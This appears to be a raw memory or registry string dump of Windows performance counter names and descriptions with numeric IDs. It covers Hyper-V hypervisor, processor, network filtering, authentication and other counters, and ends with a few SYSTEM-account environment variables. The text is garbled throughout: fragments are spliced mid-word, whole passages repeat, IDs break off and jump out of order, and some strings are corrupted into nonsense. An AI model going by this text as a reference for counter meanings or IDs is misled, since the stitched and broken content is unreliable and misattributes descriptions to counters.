Hypercalls/sec 14392 Virtual Interrupt Hypercalls/sec 14394 Virtual MMU Hypercalls/sec 14396 Virtual Processor Hypercalls/sec 14398 Hardware Interrupts/sec 14400 Nested Page Fault Intercepts/sec 14402 Nested Page Fault Intercepts Cost 14404 Page Scans/sec 14406 Logical Processor Dispatches/sec 14408 CPU Wait Time Per Dispatch 14410 Extended Hypercalls/sec 14412 Extended Hypercall Intercept Messages/sec 14414 MBEC Nested Page Table Switches/sec 14416 Other Reflected Guest Exceptions/sec 14418 Global I/O TLB Flushes/sec 14420 Global I/O TLB Flush Cost 14422 Local I/O TLB Flushes/sec 14424 Local I/O TLB Flush Cost 14426 Hypercalls Forwarded/sec 14428 Hypercalls Forwarding Cost 14430 Page Invalidations Forwarded/sec 14432 Page Invalidations Forwarding Cost 14434 Control Register Accesses Forwarded/sec 14436 Control Register Accesses Forwarding Cost 14438 IO Instructions Forwarded/sec 14440 IO Instructions Forwarding Cost 14442 HLT InstructionsTotal Pages 14058 Virtual Processors 14060 Monitored Notifications 14062 Modern Standby Entries 14064 Platform Idle Transitions 14066 HypervisorStartupCost 14068 IO Space Pages 14070 NonEssentialPagesForDump 14072 SubsumedPages 14192 Hyper-V Hypervisor Root Partition 14194 Virtual Processors 14196 Virtual TLB Pages 14198 Address Spaces 14200 Deposited Pages 14202 GPA Pages 14204 GPA Space Modifications/sec 14206 Virtual TLB Flush Entires/sec 14208 Recommended Virtual TLB Size 14210 4K GPA pages 14212 2M GPA pages 14214 1G GPA pages 14216 512G GPA pages 14218 4K device pages 14220 2M device pages 14222 1G device pages 14224 512G device pages 14226 Attached Devices 14228 Device Interrupt Mappings 14230 I/O TLB Flushes/sec 14232 I/O TLB Flush Cost 14234 Device Interrupt Errors 14236 Device DMA Errors 14238 Device Interrupt Throttle Events 14240 Skipped Timer Ticks 14242 Partition Id 14244 Nested TLB Size 14246 Recommended Nested TLB Size 14248 Nested TLB Free List Size 14250 Nested TLB Trimmed Pages/sec 14252 Pages Shattered/sec 14254 Pages Recombined/sec 14256 CPPC Requested Performance Level 14258 I/O TLB Flushes Base 14260 Hyper-V Hypervisor Root Virtual Processor 14262 Total Run Time 14264 Hypervisor Run Time 14266 Remote Node Run Time 14268 Normalized Run Time 14270 Ideal Cpu 14272 Hypercalls/sec 14274 Hypercalls Cost 14276 Page Invalidations/sec 14278 Page Invalidations Cost 14280 Control Register Accesses/sec 14282 Control Register Accesses Cost 14284 IO Instructions/sec 14286 IO Instructions Cost 14288 HLT Instructions/sec 14290 HLT Instructions Cost 14292 MWAIT Instructions/sec 14294 MWAIT Instructions Cost 14296 CPUID Instructions/sec 14298 CPUID Instructions Cost 14300 MSR Accesses/sec 14302 MSR Accesses Cost 14304 Other Intercepts/sec 14306 Other Intercepts Cost 14308 External Interrupts/sec 14310 External Interrupts Cost 14312 Pending Interrupts/sec 14314 Pending Interrupts Cost 14316 Emulated Instructions/sec 14318 Emulated Instructions Cost 14320 Debug Register Accesses/sec 14322 Debug Register Access Second 6624 Workflows Suspended 6626 Workflows Suspended Per Second 6628 Workflows Idle Per Second 6630 Average Workflow Load Time 6632 Average Workflow Load Time Base 6634 Average Workflow Persist Time 6636 Average Workflow Persist Time Base 5836 Terminal Services 5838 Active Sessions 5840 Inactive Sessions 5842 Total Sessions 14074 Hyper-V Hypervisor Logical Processor 14076 Global Time 14078 Total Run Time 14080 Hypervisor Run Time 14082 Hardware Interrupts/sec 14084 Context Switches/sec 14086 Inter-Processor Interrupts/sec 14088 Scheduler Interrupts/sec 14090 Timer Interrupts/sec 14092 Inter-Processor Interrupts Sent/sec 14094 Processor Halts/sec 14096 Monitor Transition Cost 14098 Context Switch Time 14100 C1 Transitions/sec 14102 % C1 Time 14104 C2 Transitions/sec 14106 % C2 Time 14108 C3 Transitions/sec 14110 % C3 Time 14112 Root Vp Index 14114 Idle Sequence Number 14116 Global TSC Count 14118 Active TSC Count 14120 Idle Accumulation 14122 Reference Cycle Count 0 14124 Actual Cycle Count 0 14126 Reference Cycle Count 1 14128 Actual Cycle Count 1 14130 Proximity Domain Id 14132 Posted Interrupt Notifications/sec 14134 Hypervisor Branch Predictor Flushes/sec 14136 Hypervisor L1 Data Cache Flushes/sec 14138 Hypervisor Immediate L1 Data Cache Flushes/sec 14140 Hypervisor Microarchitectural Buffer Flushes/sec 14142 Counter Refresh Sequence Number 14144 Counter Refresh Reference Time 14146 Idle Accumulation Snapshot 14148 Active Tsc Count Snapshot 14150 CPPC Request Context Switches/sec 14152 Placeholder 1 14154 Placeholder 2 14156 Placeholder 3 14158 Placeholder 4 14160 Placeholder 5 14162 Placeholder 6 14164 Placeholder 7 14166 Placeholder 8 14168 Placeholder 9 14170 Scheduler Local Run List Size 14172 Reserve Group Id 14174 Running Priority 14176 Performance Monitoring Interrupts/sec 14178 Guest Run Time 14180 Idle Time 14182 % Total Run Time 14184 % Hypervisor Run Time 14186 % Guest Run Time 14188 % Idle Time 14190 Total Interrupts/sec 14050 Hyper-V Hypervisor 14052 Logical Processors 14054 Partitions 14056 oted that the accounting calculation of whether the processor is idle is performed at an internal sampling interval of the system clock tick. % Priority Time can therefore underestimate the processor utilization as the processor may be spending a lot of time servicing threads between the system clock sampling interval. Workload based timer applications are one example of applications which are more likely to be measured inaccurately as timers are signaled just after the sample is taken. 2645 Parking Status represents whether a processor is parked or not. 2647 Processor Frequency is the frequency of the current processor in megahertz. Some processors are capable of regulating their frequency outside of the control of Windows. Processor Frequency will not accurately reflect actual processor frequency on these systems. Use % Processor Performance or Actual Frequency instead. 2649 % of Maximum Frequency is the percentage of the current processor's maximum frequency. Some processors are capable of regulating their frequency outside of the control of Windows. % of Maximum Frequency will not accurately reflect actual processor frequency on these systems. Use % Processor Performance instead. 2651 Processor State Flags 2653 Clock Interrupts/sec is the average rate, in incidents per second, at which the processor received and serviced clock tick interrupts. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2655 Average Idle Time is the average idle duration in 100ns units observed between the last two samples. 2659 Idle Break Events/sec is the average rate, in incidents per second, at which the processor wakes from idle. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2661 Processor Performance is the average performance of the processor while it is executing instructions, as a percentage of the nominal performance of the processor. On some procsors 14060 Monitored Notifications 14062 Modern Standby Entries 14064 Platform Idle Transitions 14066 HypervisorStartupCost 14068 IO Space Pages 14070 NonEssentialPagesForDump 14072 SubsumedPages 14192 Hyper-V Hypervisor Root Partition 14194 Virtual Processors 14196 Virtual TLB Pages 14198 Address Spaces 14200 Deposited Pages 14202 GPA Pages 14204 GPA Space Modifications/sec 14206 Virtual TLB B Fr Virtual cessor policy. 4383 The number of packets sent that are covered by this policy. 4385 The number of packets sent per second that are covered by this policy. 4387 The number of bytes sent that are covered by this policy. 4389 The number of bytes sent per second that are covered by this policy. 4391 The number of packets dropped that are covered by this policy. 4393 The number of packets dropped per second that are covered by this policy. 3111 Event Log 3113 Enabled Channels 3115 WEVT RPC calls/sec 3117 Events/sec 3119 ELF RPC calls/sec 3121 Active subscriptions 3123 Event filter operations/sec 3125 Active Channels 3127 Event Log Subscriptions 3129 Events/sec 3131 Event filter operations/sec 1849 Performance counter to expose app-specific structural data (WorkUnits). 1851 App Owner Process ID identifies the process which owns this work unit in the app architecture. 1853 Host Process ID identifies the process which hosts this work unit. The host process could have terminated, so this value may no longer be valid. 11319 Counters for measuring bandwidth and latency for BranchCache. 11321 Total number of bytes received from the original content source. 11323 Total number of bytes received from the local cache or peers. 11325 Total number of bytes served by this peer to other peers. 11327 Weighted average of time between when a peer discovery query was sent and when the first response arrived. 11329 Total number of bytes received from the local cache or peers. 11331 Total number of bytes received from the original content source. 11333 Total number of bytes received from the local cache or peers. 11335 Total number of bytes received from the original content source. 11337 Total number of bytes received from the local cache or peers. 11339 Total number of bytes received from the original content source. 11341 Total number of bytes received from the local cache or peers. 11343 Total number of bytes received from the original content source. 11345 Total number of bytes received from the local cache or peers. 11347 Total number of ain Id of the node to which the LP belongs. 14133 The rate of posted interrupt notifications on the processor. 14135 The rate of hypervisor branch predictor flushes. 14137 The rate of hypervisor L1 data cache flushes. 14139 The rate of hypervisor immediate L1 data cache flushes. 14141 The rate of hypervisor microarchitectural buffer flushes. 14143 Sequence number which is incremented when performance counter refresh begins and ends. 14145 Reference time when performance counters were last refreshed. 14147 Counter that accumulates idle time (in 100ns). Updated when performance counters are refreshed. 14149 Counter that accumulates TSC counts for active periods. Updated when performance counters are refreshed. 14151 The rate of hypervisor CPPC request context switches. 14153 Placeholder counter. 14155 Placeholder counter. 14157 Placeholder counter. 14159 Placeholder counter. 14161 Placeholder counter. 14163 Placeholder counter. 14165 Placeholder counter. 14167 Placeholder counter. 14169 Placeholder counter. 14171 The number of threads on the local run list of the processor. 14173 The Group ID that has reserved the LP as part of its Idle Reserves. 14175 The Running Priority of the LP. 14177 The rate of performance monitoring interrupts encountered on this logical procesor 14179 The total time (in 100ns) spent by the processor in guest code. 14181 The total time (in 100ns) spent by the processor in an idle state. 14183 The percentage of time spent by the processor in guest and hypervisor code. 14185 The percentage of time spent by the processor in hypervisor code. 14187 The percentage of time spent by the processor in guest code. 14189 The percentage of time spent by the processor in an idle state. 14191 The rate of hardware and hypervisor interrupts/sec. 14051 Information on the hypervisor. 14053 The number of logical processors present in the system. 14055 The number of partitions (virtual machines) present in the system. 14057 The number of bootstrap and deposited pages in the hypervisor. 14059 The number of virtu The rate of hardware interrupts on the processor (excluding hypervisor interrupts). 14085 The rate of virtual processor context switches on the processor. 14087 The rate of hypervisor inter-processor interrupts delivered to the processor. 14089 The rate of hypervisor scheduler interrupts on the processor. 14091 The rate of hypervisor timer interrupts on the processor. 14093 The rate of hypervisor inter-processor interrupts sent by the processor. 14095 The rate of entries into a halt state by the processor. 14097 The hardware cost of transitions into the hypervisor. 14099 The total time (in nanoseconds) spent switching between virtual processors. 14101 C1 Transitions/sec is the rate that CPU enters the C1 low-power idle state. 14103 % C1 Time is the percentage of time the processor spends in the C1 low-power idle state. % C1 Time is a subset of the total processor idle time. 14105 C2 Transitions/sec is the rate that CPU enters the C2 low-power idle state. 14107 % C2 Time is the percentage of time the processor spends in the C2 low-power idle state. % C2 Time is a subset of the total processor idle time. 14109 C3 Transitions/sec is the rate that CPU enters the C3 low-power idle state. 14111 % C3 Time is the percentage of time the processor spends in the C3 low-power idle state. % C3 Time is a subset of the total processor idle time. 14113 Index of the root virtual processor that is affinity bound to this logical processor. A value that is greater than the maximum possible root VP index indicates no binding. 14115 Idle Sequence Number. 14117 The Global TSC count on this logical processor 14119 Counter that accumulates TSC counts for active periods 14121 Counter that accumulates idle time (in 100ns) 14123 Monotonically increasing counter running at processor's nominal rate. 14125 Monotonically increasing counter running at processor's actual rate. 14127 Monotonically increasing counter running at processor's nominal rate. 14129 Monotonically increasing counter running at processor's actual rate. 14131 Proximity Domul Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11789 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11791 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11793 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11371 WFPv4 is the set of Windows Filtering Platform counters that apply to traffic and connections over Internet Protocol version 4. 11373 Inbound Packets Discarded per Second is the rate at which inbound packets are discarded by the Windows Filtering Platform. 11375 Outbound Packets Discarded per Second is the rate at which outbound packets are discarded by the Windows Filtering Platform. 11377 Packets Discarded per Second is the rate at which the total of inbound and outbound packets are discarded by the Windows Filtering Platform. 11379 Blocked Binds is the number of network resource assignment requests blocked by the Windows Filtering Platform since the computer was last started. 11381 Inbound Connections Blocked per Second is the rate at which inbound connections are being blocked by the Windows Filtering Platform. 11383 Outbound Connections Blocked per Second is the rate at which outbound connections are being blocked by the Windows Filtering Platform. 11385 Inbound Connections Allowed per Second is the rate at which inbound connections are being allowed by the Windows Filtering Platform. 11387 Outbound Connections Allowed per Second is the rate at which outbound connections are being allowed by the Windows Filtering Platform. 11389 Inbound Connections is the number of inbound connections allowed by the Windows Filtering Platform since the computer was last started. 11391 Outbound Connections is the number of outbound connections allowed by the Windows Filtering Platform since the computer was last started. 11393 Active Inbound Connections is the number of current inbound connections allowed byedStarveExclusive. 2747 Frequency of acquire shared attempts on Executive Resources from ExAcquireSharedWaitForExclusive. 2749 Frequency of recursive exclusive acquires from ExAcquireSharedWaitForExclusive. 2751 Frequency of first shared acquires from ExAcquireSharedWaitForExclusive. 2753 Frequency of recursive shared acquires from ExAcquireSharedWaitForExclusive. 2755 Frequency of waits during shared acquire attempts from ExAcquireSharedWaitForExclusive. 2757 Frequency of no-waits during exclusive acquire attempts from ExAcquireSharedWaitForExclusive. 2759 Frequency of ExSetResourceOwnerPointer to an exclusive owner. 2761 Frequency of ExSetResourceOwnerPointer to a new shared owner. 2763 Frequency of ExSetResource rPointer to an e requency of boosting ExecutL e Resource. Frequen ng s nwer al count of all the hypervisor intercepts messages. 14681 The rate of hypervisor intercepts messages. 14683 The average time (in nanoseconds) spent handling a hypervisor intercept. 14685 The percentage of time spent by the virtual processor running on a remote node. 14687 The percentage of time spent by the virtual processor running in VTL1. 14689 The percentage of time spent by the virtual processor running in VTL2. 14691 The total count of virtualization instructions emulated on the virtual processor. 14693 The rate of virtualization instructions emulated. 14695 The average time (in nanoseconds) spent emulating a virtualization extension instruction. 14697 A constant rate time source that is used as by a number of performance counters for duration calculations. 14699 The total number of hypercalls made by guest code on the virtual processor. 14701 The total number of INVLPG instructions executed by guest code on the virtual processor. 14703 The total number of control register accesses by guest code on the virtual processor. 14705 The total number of IO instructions executed by guest code on the virtual processor. 14707 The total number of HLT instructions executed by guest code on the virtual processor. 14709 The total number of MWAIT instructions executed by guest code on the virtual processor. 14711 The total number of CPUID instructions executed by guest code on the virtual processor. 14713 The total number of MSR instructions by guest code on the virtual processor. 14715 The total number of other intercepts triggered by guest code on the virtual processor. 14717 The total number of external interrupts received by the hypervisor while executing guest code on the virtual processor. 14719 The total number of intercepts due to a task priority (TPR) reduction by guest code on the virtual processor. 14721 The total number of emulated instructions while executing guest code on the virtual processor. 14723 The total number of debug register accesses by guest code on the virtual processor. 14725 The total number ofshed through a system logon. 6347 This counter tracks the number of context handles in use by a given process. Context handles are associated with security contexts established between a client application and a remote peer. 6349 These counters track authentication performance on a per second basis. 6351 This counter tracks the number of NTLM authentications processed per second for the AD on this DC or for local accounts on this member server. 6353 This counter tracks the number of times that clients use a ticket to authenticate to this computer per second. 6355 This counter tracks the number of Authentication Service (AS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use AS requests to obtain a ticket-granting ticket. 6357 This counter tracks the number of ticket-granting service (TGS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use these TGS requests to obtain a service ticket, which allows a client to access resources on other computers. 6359 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performing a full SSL handshake. 6361 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache and that are currently in use. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performaing a full SSL handshake. 6363 This counter tracks the number of Secure Sockets Layer (SSL) full client-side handshakes that are being processed per second. During a handshake, signals are exchanged to acknowledge that communication can occur between computers or other dr. 14569 3.2768 ms - 6.5535 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14571 6.5536 ms - 13.1071 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14573 Greater than 13.1071 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14575 The rate of VMLOAD instructions emulated while executing guest code on the virtual processor. 14577 The average time (in nanoseconds) spent emulating a VMLOAD instruction. 14579 The rate of VMSAVE instructions emulated while executing guest code on the virtual processor. 14581 The average time (in nanoseconds) spent emulating a VMSAVE instruction. 14583 The rate of STGI/CLGI instructions emulated while executing guest code on the virtual processor. 14585 The average time (in nanoseconds) spent emulating a GIF access instruction. 14587 The rate of SVM instructions emulated due to errata. 14589 Placeholder counter. 14591 Placeholder counter. 14593 Placeholder counter. 14595 Placeholder counter. 14597 Placeholder counter. 14599 Placeholder counter. 14601 Placeholder counter. 14603 Placeholder counter. 14605 The average time (in nanoseconds) spent waiting for a virtual processor to be dispatched after it was added to the CPU runqueue. 14607 The average time (in nanoseconds) spent waking up an idle virtual processor before it was dispatched 14609 The configured scheduling priority for this virtual processor. 14611 The rate of RDPMC instructions executed by guest code on the virtual processor. 14613 The average time (in nanoseconds) spent processing an RDPMC instruction. 14615 The rate of intercepted accesses to vPMU related MSRs on this virtual procesor 14617 The rate of intercepted accesses to LBR related MSRs on this virtual procesor 14619 The rate of intercepted accesses to IPT related MSRs on this virtual procesor 14621 The rate of performance monitoring interrupts forwarded to this virtual procesor 14623 The rate of VTL1 dispatches on the virtual processor. 14625 The rate of VTL2 Single Context instructions emulated while executing guest code on the virtual processor. 14529 The average time (in nanoseconds) spent emulating an InvEpt Single Context intercept. 14531 The rate of InvVpid All Context instructions emulated while executing guest code on the virtual processor. 14533 The average time (in nanoseconds) spent emulating an InvVpid All Context intercept. 14535 The rate of InvVpid Single Context instructions emulated while executing gues de on the virtua ge time (in le Add/ ss instructions emulated le executi/ guest code on the virtual processor. 14541 The ) sp ch are more likely to be measured inaccurately as timers are signaled just after the sample is taken. 2645 Parking Status represents whether a processor is parked or not. 2647 Processor Frequency is the frequency of the current processor in megahertz. Some processors are capable of regulating their frequency outside of the control of Windows. Processor Frequency will not accurately reflect actual processor frequency on these systems. Use % Processor Performance or Actual Frequency instead. 2649 % of Maximum Frequency is the percentage of the current processor's maximum frequency. Some processors are capable of regulating their frequency outside of the control of Windows. % of Maximum Frequency will not accurately reflect actual processor frequency on these systems. Use % Processor Performance instead. 2651 Processor State Flags 2653 Clock Interrupts/sec is the average rate, in incidents per second, at which the processor received and serviced clock tick interrupts. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2655 Average Idle Time is the average idle duration in 100ns units observed between the last two samples. 2659 Idle Break Events/sec is the average rate, in incidents per second, at which the processor wakes from idle. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2661 Processor Performance is the average performance of the processor while it is executing instructions, as a percentage of the nominal performance of the processor. On some processors, Processor Performance may exceed 100%. Some processors are capable of regulating their frequency outside of the control of Windows. Processor Performance will accurately reflect the performance of these processors. 2665 Processor Utility is the amount of work a processor is completing, as a percentage of the amount of work the processor could complete if it were running at its nomi of MWAIT instructions executed by guest code on the virtual processor. 14295 The average time (in nanoseconds) spent processing an MWAIT instruction. 14297 The rate of CPUID instructions executed by guest code on the virtual processor. 14299 The average time (in nanoseconds) spent processing a CPUID instruction. 14301 The rate of MSR instructions executed by guest code on the virtual processor. 14303 The average time (in nanoseconds) spent processing an MSR instruction. 14305 The rate of other intercepts triggered by guest code on the virtual processor. 14307 The average time (in nanoseconds) spent processing other intercepts. 14309 The rate of external interrupts received by the hypervisor while executing guest code on the virtual processor. 14311 The average time (in nanoseconds) spent processing an external interrupt. 14313 The rate of intercepts due to a task priority (TPR) reduction by guest code on the virtual processor. 14315 The average time (in nanoseconds) spent processing a pending interrupt intercept. 14317 The rate of emulated instructions while executing guest code on the virtual processor. 14319 The average time (in nanoseconds) spent emulating an instruction. 14321 The rate of debug register accesses by guest code on the virtual processor. 14323 The average time (in nanoseconds) spent handling a debug register access. 14325 The rate of page fault exceptions intercepted by the hypervisor while executing guest code on the virtual processor. 14327 The average time (in nanoseconds) spent processing a page fault intercept. 14329 The rate of map operations for guest page table pages. 14331 The rate of virtual TLB misses on large pages. 14333 The rate of virtual TLB misses on 4K pages. 14335 The rate of page fault exceptions delivered to the guest. 14337 The rate of APIC MMIO register accesses by guest code on the virtual processor. 14339 The rate of IO intercept messages sent to the parent partition. 14341 The rate of memory intercept messages sent to the parent partition. 14343 The rate of APIC EOI reA requests generated by all devices assigned to the partition. 14239 The number of times an interrupt from a device assigned to the partition was temporarily throttled because the device was generating too many interrupts. 14241 The number of timer interrupts skipped for the partition. 14243 The hypervisor partition ID for the partition 14245 The number of pages deposited for the nested TLB. 14247 The recommended number of pages to be deposited for the nested TLB. 14249 The number of free pages in the nested TLB. 14251 The rate of pages trimmed from the nested TLB. 14253 The rate of pages shattered 14255 The rate of pages recombined 14257 The effective CPPC request value for the partition. 14259 The total number of flushes of I/O TLBs of the partition. 14261 Information on virtual processors 14263 The total time (in 100ns) spent by the virtual processor in guest and hypervisor code. 14265 The total time (in 100ns) spent by the virtual processor in hypervisor code. 14267 The time (in 100ns) spent running on remote node(s). 14269 The total time (in 100ns) spent by the virtual processor in guest and hypervisor code, normalized to peak frequency. 14271 The index of the ideal logical processor for this virtual processor. 14273 The rate of hypercalls made by guest code on the virtual processor. 14275 The average time (in nanoseconds) spent processing a hypercall. 14277 The rate of INVLPG instructions executed by guest code on the virtual processor. 14279 The average time (in nanoseconds) spent processing an INVLPG instruction. 14281 The rate of control register accesses by guest code on the virtual processor. 14283 The average time (in nanoseconds) spent processing a control register access. 14285 The rate of IO instructions executed by guest code on the virtual processor. 14287 The average time (in nanoseconds) spent processing an IO instruction. 14289 The rate of HLT instructions executed by guest code on the virtual processor. 14291 The average time (in nanoseconds) spent processing a HLT instruction. 14293 The ratelf of the application might appear in other subsystem processes in addition to the privileged time in the process. 2619 Interrupts/sec is the average rate, in incidents per second, at which the processor received and serviced hardware interrupts. It does not include deferred procedure calls (DPCs), which are counted separately. This value is an indirect indicator of the activity of devices that generate interrupts, such as the system clock, the mouse, disk drivers, data communication lines, network interface cards, and other peripheral devices. These devices normally interrupt the processor when they have completed a task or require attention. Normal thread execution is suspended. The system clock typically interrupts the processor every 10 milliseconds, creating a background of interrupt activity. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2621 % DPC Time is the percentage of time that the processor spent receiving and servicing deferred procedure calls (DPCs) during the sample interval. DPCs are interrupts that run at a lower priority than standard interrupts. % DPC Time is a component of % Privileged Time because DPCs are executed in privileged mode. They are counted separately and are not a component of the interrupt counters. This counter displays the average busy time as a percentage of the sample time. 2623 % Interrupt Time is the time the processor spends receiving and servicing hardware interrupts during sample intervals. This value is an indirect indicator of the activity of devices that generate interrupts, such as the system clock, the mouse, disk drivers, data communication lines, network interface cards and other peripheral devices. These devices normally interrupt the processor when they have completed a task or require attention. Normal thread execution is suspended during interrupts. Most system clocks interrupt the processor every 10 milliseconds, creating a background of interrupt activity. suspends n GdiPlus.dll n-Co \Services\PortPr orization. http://go.microsoft.com/fwlink/?LinkId=222653 3063 The number of calls to this endpoint that failed authorization per second. http://go.microsoft.com/fwlink/?LinkId=222655 3065 The number of reliable messaging sessions that faulted at this endpoint. http://go.microsoft.com/fwlink/?LinkId=222651 3067 The number of reliable messaging sessions that faulted at this endpoint per second. http://go.microsoft.com/fwlink/?LinkId=222652 3069 The number of reliable messaging messages that were dropped at this endpoint. http://go.microsoft.com/fwlink/?LinkId=222649 3071 The number of reliable messaging messages that were dropped at this endpoint per second. http://go.microsoft.com/fwlink/?LinkId=222650 3073 The number of transactions that flowed to operations at this endpoint. This counter is incremented any time a transaction ID is present in the message that is sent to the endpoint. http://go.microsoft.com/fwlink/?LinkId=222658 3075 The number of transactions that flowed to operations at this endpoint per second. This counter is incremented any time a transaction ID is present in the message that is sent to the endpoint. http://go.microsoft.com/fwlink/?LinkId=222659 3077 The average duration of calls to this endpoint. http://go.microsoft.com/fwlink/?LinkId=222648 6497 This counter set displays power metering and budgeting information 6499 This counter displays power consumption in milliwatts. 6501 This counter displays the power budget for this device or subcomponent in milliwatts. 6503 The Energy Meter performance object measures total energy consumption. 6505 The Time counter measures the duration of meter operation in milliseconds. 6507 The Energy counter measures the total energy consumed on the metered channel in picowatt-hours. 6509 The Power counter measures average power over each sampling interval in milliwatts. 12619 This counter set measures various TCPIP activity for extended performance diagnostics. 12621 TWTCBs that were created 12623 TWTCBs that were shut down 12625 TWTCBs that were destroyed 1262nal performance and never idle. On some processors, Processor Utility may exceed 100%. 2669 Privileged Utility is the amount of work a processor is completing while executing in privileged mode, as a percentage of the amount of work the processor could complete if it were running at its nominal performance and never idle. On some processors, Privileged Utility may exceed 100%. 2673 % Performance Limit is the performance the processor guarantees it can provide, as a percentage of the nominal performance of the processor. Performance can be limited by Windows power policy, or by the platform as a result of a power budget, overheating, or other hardware issues. 2675 Performance Limit Flags indicate reasons why the processor performance was limited. 2679 Actual Frequency is the current frequency of the processor in megahertz, as measured by the OS. This counter is more accurate than Processor Frequency, which only reflects the frequency the OS requested the processor run at. 2897 The Process V2 performance counter set consists of counters that monitor running application program and system processes. The Process V2 counter set improves upon the legacy Process counter set. 2899 % Processor Time is the percentage of elapsed time that the process spent executing code. This value may exceed 100% on a multiprocessor system. Some code executed to handle hardware interrupts and trap conditions may be included in this count. 2901 % User Time is the percentage of elapsed time that the process spent executing code in user mode. This value may exceed 100% on a multiprocessor system. 2903 % Privileged Time is the percentage of elapsed time that the process spent executing code in kernel mode. This value may exceed 100% on a multiprocessor system. 2905 Virtual Bytes Peak is the maximum size, in bytes, of the virtual address ranges reserved within the process. Reserved address ranges consume no physical memory or disk space unless they are committed. The operating system may reserve virtual address ranges within a process for systch are more likely to be measured inaccurately as timers are signaled just after the sample is taken. 2645 Parking Status represents whether a processor is parked or not. 2647 Processor Frequency is the frequency of the current processor in megahertz. Some processors are capable of regulating their frequency outside of the control of Windows. Processor Frequency will not accurately reflect actual processor frequency on these systems. Use % Processor Performance or Actual Frequency instead. 2649 % of Maximum Frequency is the percentage of the current processor's maximum frequency. Some processors are capable of regulating their frequency outside of the control of Windows. % of Maximum Frequency will not accurately reflect actual processor frequency on these systems. Use % Processor Performance instead. 2651 Processor State Flags 2653 Clock Interrupts/sec is the average rate, in incidents per second, at which the processor received and serviced clock tick interrupts. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2655 Average Idle Time is the average idle duration in 100ns units observed between the last two samples. 2659 Idle Break Events/sec is the average rate, in incidents per second, at which the processor wakes from idle. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. 2661 Processor Performance is the average performance of the processor while it is executing instructions, as a percentage of the nominal performance of the processor. On some processors, Processor Performance may exceed 100%. Some processors are capable of regulating their frequency outside of the control of Windows. Processor Performance will accurately reflect the performance of these processors. 2665 Processor Utility is the amount of work a processor is completing, as a percentage of the amount of work the processor could complete if it were running at its nomiext instructions emulated while executing guest code on the virtual processor. 14533 The average time (in nanoseconds) spent emulating an InvVpid All Context intercept. 14535 The rate of InvVpid Single Context instructions emulated while executing guest code on the virtual processor. 14537 The average time (in nanoseconds) spent emulating an InvVpid Single Context intercept. 14539 The rate of InvVpid Single Address instructions emulated while executing guest code on the virtual processor. 14541 The average time (in nanoseconds) spent emulating an InvVpid Single Address intercept. 14543 The rate of reclamations of unlinked page tables in the nested TLB. 14545 The rate of page table evictions in the nested TLB. 14547 The rate of Flush Guest Physical Adress Space hypercalls made by the guest hypervisor on the virtual processor. 14549 The rate of Flush Guest Physical Address List hypercalls made by the guest hypervisor on the virtual processor. 14551 The rate of posted interrupt notifications on the virtual processor. 14553 The rate of posted interrupt scanning on the virtual processor. 14555 The total time (in 100ns) spent by any virtual processor in the same virtual core in guest and hypervisor code for SMT enabled guests. 14557 The total time (in 100ns) the guest was either running or in a voluntary halt/idle suspend state. 14559 The rate of hypervisor CPPC request context switches. 14561 Less than 409.6 us spent waiting for a virtual processor to be dispatched onto a logical processor. 14563 409.6 us - 819.1 us spent waiting for a virtual processor to be dispatched onto a logical processor. 14565 819.2 us - 1.6383 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14567 1.6384 ms - 3.2766 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14569 3.2768 ms - 6.5535 ms spent waiting for a virtual processor to be dispatched onto a logical processor. 14571 6.5536 ms - 13.1071 ms spent waiting for a virtual processor to be dispatched onto a logical proceMPTRLD instructions emulated while executing guest code on the virtual processor. 14489 The average time (in nanoseconds) spent enumulating a VMPTRLD instruction. 14491 The rate of VMPTRST instructions emulated while executing guest code on the virtual processor. 14493 The average time (in nanoseconds) spent enumulating a VMPTRST instruction. 14495 The rate of VMREAD instructions emulated while executing guest code on the virtual processor. 14497 The average time (in nanoseconds) spent enumulating a VMREAD instruction. 14499 The rate of VMWRITE instructions emulated while executing guest code on the virtual processor. 14501 The average time (in nanoseconds) spent enumulating a VMWRITE instruction. 14503 The rate of VMXOFF instructions emulated while executing guest code on the virtual processor. 14505 The average time (in nanoseconds) spent enumulating a VMXOFF instruction. 14507 The rate of VMXON instructions emulated while executing guest code on the virtual processor. 14509 The average time (in nanoseconds) spent enumulating a VMXON instruction. 14511 The rate of nested VM entries while executing guest code on the virtual processor. 14513 The average time (in nanoseconds) spent processing a nested VM entry. 14515 The rate of nested SLAT soft page faults while executing guest code on the virtual processor. 14517 The average time (in nanoseconds) spent processing a nested SLAT soft page fault. 14519 The rate of nested SLAT hard page faults while executing guest code on the virtual processor. 14521 The average time (in nanoseconds) spent processing a nested SLAT hard page fault. 14523 The rate of InvEpt All Context instructions emulated while executing guest code on the virtual processor. 14525 The average time (in nanoseconds) spent emulating an InvEpt All Context intercept. 14527 The rate of InvEpt Single Context instructions emulated while executing guest code on the virtual processor. 14529 The average time (in nanoseconds) spent emulating an InvEpt Single Context intercept. 14531 The rate of InvVpid All ContPublic SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS 2177 econ all 4 ms to de for this site 12461 